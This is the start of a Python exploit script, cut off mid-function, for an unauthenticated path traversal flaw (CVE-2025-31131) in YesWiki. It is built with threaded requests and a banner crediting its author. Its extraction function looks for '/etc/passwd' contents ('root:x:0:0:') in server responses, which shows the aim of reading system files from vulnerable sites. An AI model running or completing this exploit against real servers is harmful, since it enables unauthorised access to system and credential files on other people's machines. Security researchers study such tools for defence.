#!/usr/bin/env python3 import requests import argparse from urllib.parse import quote from colorama import Fore, Style, init import urllib3 import sys from concurrent.futures import ThreadPoolExecutor, as_completed # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) init(autoreset=True) BANNER = f""" {Fore.CYAN}╔════════════════════════════════════════════════════╗ ║ CVE-2025-31131 YesWiki Path Traversal Exploit ║ ║ ║ ║ YesWiki < 4.5.2 - Unauthenticated Path Traversal ║ ║ Severity: High (CVSS: 8.6) ║ ║ Created by: Muhammad Waseem ║ ║ Reference: https://github.com/advisories/GHSA-w34w-fvp3-68xm ╚════════════════════════════════════════════════════╝{Style.RESET_ALL} """ # Function to extract file content from the response def extract_file_contents(html_text): start_index = html_text.find("root:x:0:0:") if start_index == -1: return "[!] File contents not found in response." end_index = html_text.find("